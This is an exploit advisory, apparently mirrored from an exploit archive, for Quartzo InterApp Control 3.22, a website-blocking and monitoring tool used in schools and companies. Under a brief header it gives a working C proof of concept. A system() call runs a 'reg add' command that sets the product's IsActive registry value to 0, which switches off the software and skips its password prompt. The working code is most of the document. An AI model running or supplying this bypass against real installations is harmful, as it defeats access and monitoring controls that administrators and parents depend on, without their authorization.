Quartzo InterApp Control 3.22 Authentication Bypass

/*
*  Title: Quartzo InterApp Control 3.22 Authentication Bypass
*  Date: 02-07-12
*  Category: Local
*  Vendor website: http://www.quartzo.com.br/
*  Author: Rodrigo Santos
*  Contact: [email protected]
*  Tested on: Quartzo InterApp Control (free) version 3.22 on Windows 7 Enterprise 64-bit
*
*  Product detail:
*  Quartzo InterApp Control is an application used to block websites, applications, and monitor computers in many schools and companies.
*  There is also a good number of home users.
*
*  Vulnerability:
*  By editing the Windows registry, an attacker can bypass the application's screen that asks for the password.
*/

#include <stdio.h>

int main() {
	printf("Deactivating Quartzo InterApp Control...\n");
	system("reg add HKEY_CURRENT_USER\\Software\\qubnfe /v IsActive /t REG_SZ /d 0 /f");
	return 0;
}



#  0day.today [2018-04-08]  #